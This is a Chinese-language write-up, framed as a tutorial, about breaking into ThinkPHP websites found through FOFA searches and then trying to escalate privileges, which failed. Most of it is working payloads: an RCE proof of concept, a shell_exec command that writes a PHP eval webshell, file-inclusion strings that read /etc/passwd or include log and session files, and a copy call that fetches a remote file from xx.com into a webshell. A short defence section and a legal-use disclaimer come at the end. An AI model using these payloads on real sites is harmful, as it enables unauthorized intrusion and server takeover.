记一天三个站并失败的提权过程
字数 1123 2025-08-06 08:35:39
ThinkPHP框架漏洞利用与提权实战教学
1. 信息收集与目标定位
1.1 目标发现
- 使用FOFA等网络空间搜索引擎寻找使用ThinkPHP框架的网站
- 常见后台路径尝试:
/admin.php - 弱密码测试:admin/admin等常见组合
2. ThinkPHP框架漏洞利用
2.1 漏洞检测
- 检测ThinkPHP版本是否存在已知漏洞
- 常见漏洞检测POC:
?s=index/index _method=__construct&filter[]=call_user_func&method=get&get[0]=phpinfo
2.2 命令执行绕过技巧
- 当常见函数被禁用时,尝试使用
shell_exec - 无回显情况下使用DNSLog验证命令执行
- 其他可能未被禁用的函数:
system,passthru,popen等
2.3 文件写入方法
- 通过漏洞直接写入Webshell:
?s=index/index _method=__construct&filter[]=shell_exec&method=get&get[0]=echo "<?php eval(\$_POST[1]);?>" > shell.php
3. 绕过严格过滤的进阶技巧
3.1 文件包含漏洞利用
- 当命令执行函数被严格过滤时,尝试文件包含:
?s=index/index _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/etc/passwd&x=phpinfo();
3.2 日志文件包含
- 常见日志文件路径:
/www/wwwlogs/access.log - 注意日志文件中的编码问题可能导致包含失败
3.3 Session文件包含
- 利用条件:服务器开启
session.upload_progress.enabled配置 - 通过上传进度信息污染session文件
- 包含session文件获取Webshell
3.4 上传功能绕过
- 修改上传配置文件添加允许的扩展名(如.txt)
- 上传包含PHP代码的文本文件:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["0"])?>');?> - 然后通过文件包含漏洞执行该文件
4. 参数绕过技巧
4.1 多参数传递
- 使用
vars[]数组传递多个参数:&vars[0]=&vars[1]=&vars[2]=&vars[3]=
4.2 文件操作参数
- 使用
call_user_func_array进行文件操作:call_user_func_array&vars[0]=copy&vars[1][]=http://xx.com/a.txt&vars[1][]=/www/wwwroot/shell.php
5. 提权尝试与失败分析
5.1 常见提权方法
- 脏牛(Dirty Cow)漏洞:适用于较旧版本的CentOS系统
- Sudo提权:检查sudo -l查看可用特权命令
- 内核漏洞利用:根据系统版本寻找对应漏洞
5.2 提权失败原因分析
- 系统已打补丁,漏洞已修复
- 权限限制严格,www用户无法执行关键操作
- 环境配置阻止了提权操作
6. 防御建议
6.1 针对ThinkPHP管理员
- 及时更新框架版本
- 禁用危险函数:
system,shell_exec,exec等 - 限制文件包含功能
- 严格过滤用户输入
6.2 针对系统管理员
- 定期更新系统和内核补丁
- 限制Web用户的权限
- 监控系统日志和异常行为
- 使用最小权限原则配置服务
7. 后续学习方向
- Linux提权技术深入研究
- 更多Web框架漏洞利用技术
- 权限维持方法
- 内网渗透技术
通过本教学文档,您应该掌握了ThinkPHP框架常见漏洞的利用方法,以及当遇到各种限制时的绕过技巧。记住,这些知识仅用于合法授权的安全测试和研究目的。